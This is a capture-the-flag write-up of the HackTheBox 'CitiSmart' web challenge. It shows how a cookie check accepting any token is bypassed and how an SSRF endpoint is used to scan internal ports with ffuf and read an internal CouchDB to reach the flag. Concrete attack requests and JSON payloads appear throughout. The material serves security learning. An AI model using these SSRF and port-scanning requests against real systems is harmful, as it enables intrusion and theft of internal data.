Skip to main content
  1. WriteUps/
  2. CTF/

Hack The System Bug BountyCTF - CitiSmart

·746 words·4 mins
CTF HackTheBox
DarknessE1
Author
DarknessE1
Security Researcher | Web & OSINT
Table of Contents

CHALLENGE NAME
#

CitiSmart
#

Citismart is an innovative Smart City monitoring platform aimed at detecting anomalies in public sector operations. We invite you to explore the application for any potential vulnerabilities and uncover the hidden flag within its depths.

📝 Related Bug Bounty Reports

Bug Report #1 - Expose Hidden Endpoints

Bug Report #2 - SSRF

Firstly, by reading the writeups about SSRF and juicy endpoints hidden in JS files (which were provided for the challenge), I got a rough idea of what I might be dealing with. So, I jumped straight in, visited the website, and started exploring. But honestly, there wasn’t much just a login page, no registration or anything else really useful on the surface.

image.png
Naturally, I shifted my focus to the JavaScript files, and pretty quickly I stumbled on some endpoints that looked very interesting, and these two endpoints caught my eye:

'/api/dashboard/endpoints',
'/api/dashboard/metrics'

When I visited them, they both gave me the same error:

{'message': "Cookie Token is not found"

So I tried adding a cookie header. Still the same message. But then I tried adding just a random value literally just one character and surprisingly, it worked. It wasn’t validating the token at all; it just wanted something to be there

Cookie: token=a

Boom , with that header, both endpoints started giving me real responses.

image.png

I noticed the response contained some urls, sector, status, and lastcheck, but I had no idea what they were for. I started poking around, and out of curiosity, changed the request method from GET to POST. This time, the response changed it complained that url and sector were missing, and from that, I figured out it was expecting a JSON body.

image.png

So I crafted a request with JSON format, added my own URL, and just like that, it was accepted. I fired up my control server, added my own link to the body and got a hit. This was the SSRF spot.

image.png

Even better, I realized that doing a GET request on /api/dashboard/endpoints actually lists the URLs that were added confirming my link had been saved.

image.png

Then I tried checking /api/dashboard/metrics using the same cookie header and it gave a response. At first, I didn’t understand what I was seeing. But after some digging, it hit me: this metrics endpoint was showing the actual response of the URL that had been added in the /api/dashboard/endpoints.

image.png

With that, I knew exactly what to do next port scanning via SSRF. I loaded up ffuf and began scanning internal ports. After some testing, I figured out the difference between open and closed ports based on the errors returned:

  • Open ports throw an error:
    • {"status":"error","message":"Request failed with status code 404"}
  • Closed ports throw:
    • Connection Refused 127.0.01:Port
❯ ffuf -X POST -u "http://94.237.50.221:59636/api/dashboard/endpoints/" -w "ports.txt" -H "Cookie: token=a" -H "Content-Type: application/json" -d '{"url": "http://127.0.0.1:FUZZ","sector": "Business District"}' -fw 3

SNIP................

80                      [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 278ms]
3000                    [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 193ms]
5000                    [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 183ms]
5984                    [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 242ms]
5986                    [Status: 500, Size: 66, Words: 6, Lines: 1, Duration: 249ms]
35020                   [Status: 500, Size: 58, Words: 4, Lines: 1, Duration: 163ms]
45003                   [Status: 500, Size: 57, Words: 4, Lines: 1, Duration: 5163ms]

Some of these ports stood out. I started mapping them to common services:

PortUsed ByPurpose
80Web servers (Apache, Nginx)Serving HTTP
3000React, Node/Express devFrontend/backend dev
5000Flask, Node, Python APIsAPI/backend dev
5984CouchDBRESTful database interface
5986WinRM (HTTPS)Windows remote management (encrypted)

Then I started probing each one manually using the endpoint + metrics trick. When I hit port 5984, something clicked.

I sent:

{"url": "http://127.0.0.1:5984","sector": "SSRF"}

And I saw that it was running CouchDB services on internal port 5984

"{\"couchdb\":\"Welcome\",\"version\":\"2.3.1\",\"git_sha\":\"c298091a4\",\"uuid\":\"96ac27bf6891f9781a4bf6168ca39343\",\"features\":[\"pluggable-storage-engines\",\"scheduler\"],\"vendor\":{\"name\":\"The Apache Software Foundation\"}}",

I wasn’t too familiar with CouchDB, but after some quick Googling and reading a couple of writeups, I was ready to dive in.

References I used:

I started by checking all available databases:

{"url": "http://127.0.0.1:5984/_all_dbs","sector": "SSRF1"}

Found one called citismart:

"SSRF1":"[\"citismart\"]"

Then I hit the _changes endpoint this gives back the changes made to a CouchDB database, including document IDs

{
 "url":"http://127.0.0.1:5984/citismart/_changes","sector":"SSRF6"
}

And boom , there it was: the FLAG ID sitting right in the response

"SSRF6":"{\"results\":[{\"seq\":\"111-g1AAAAF1eJzLYWBg4MhgTmEQTM4vTc5ISXIwNDLXMwBCwxygFFMiQ5L8____szKYE_NzgQLsKeYpJsnJydg04DEmSQFIJtmDTEpkwKfOAaQunrC6BJC6eoLq8liAJEMDkAIqnU-M2gUQtfuJUXsAovY-MWofQNSC3JsFANYXZ3o\",\"id\":\"monitoring_endpoints\",\"changes\":[{\"rev\":\"111-4da85cbadae8e4f80ee52fbfcc0b6ae2\"}]},{\"seq\":\"112-g1AAAAHLeJzLYWBg4MhgTmEQTM4vTc5ISXIwNDLXMwBCwxygFFMiQ5L8____szKYE_NzgQLsKeYpJsnJydg04DEmSQFIJtmDTEpkwKfOAaQuHmojA9jGZLO0JKOk1BQGztK8lNS0zLzUFHwmJIBMqCdoUx4LkGRoAFJApfOJUbsAonY_MWoPQNTeR_giySTJMi3RkEhfQEx5ADEFHBaMYFMszZMNDZIssOnLAgBdV33p\",\"id\":\"FLAG\",\"changes\":[{\"rev\":\"1-f82498d0e1c190e961a9a1fbeb4af2c8\"}]},{\"seq\":\"113-g1AAAAIHeJyVz00OgjAQBeBRTNSlJ9ATGAqVn5XcRDsdSCUIK9Z6E72J3kRvgoWSqAlBTJNpMn39kpcBwExZBAtZlFIRRszx17Y-LNNPYwG4rKoqVZYojnoxJZ-4lLLrQw-DKz1x20rQSAE5nss3BPMypzg55DH1CVEt7L4E6SXoYDxU2NfCqRVGjcA9hqEb_Nkmn-gJZ31p7JIK-Jm9muxtSPZuso93T-QYJoIN7GmUp1E-uoa-ZDZ2dk1fZC6MSg\",\"id\":\"user:citismart_admin\",\"changes\":[{\"rev\":\"1-74bf9a9004c8d20ebe724790db806409\"}]}],\"last_seq\":\"113-g1AAAAI7eJyV0FEOgjAMANApJuqnJ9ATGAYDti-5idJ1BAnCF996E72J3kRvgoORoAkhkCVd0qYvbTNCyCqxkGxkUcoEIaROsLf1o5kuzSMC26qq0sSKiotOLDFAJqXsaxhgYKcjHFqJNBJHx3eZh2Rd5qjic65wSAhr4fgnSD8GB9RY4VQL11aYNQLzKQiXT9wmX-hIbvrT2L2bR7mCAhcj5zHKwyjPTmFcUG_0VkZ5GeXdKcBAxBGdpHyM8nMfEUhqQ-990i_O1Jnt\",\"pending\":0}",

Now it was just about time grabbing the final document:

{
 "url":"http://127.0.0.1:5984/citismart/FLAG?include_docs=true","sector":"SSRF7"
}

And finally, I had the flag in hand:

"SSRF7":"{\"_id\":\"FLAG\",\"_rev\":\"1-f82498d0e1c190e961a9a1fbeb4af2c8\",\"value\":\"HTB{sm4rt_cit1_but_n0t_s3cur3_8f8e73b133aab7c5ec2d45e3a5a4670d}\"}"}}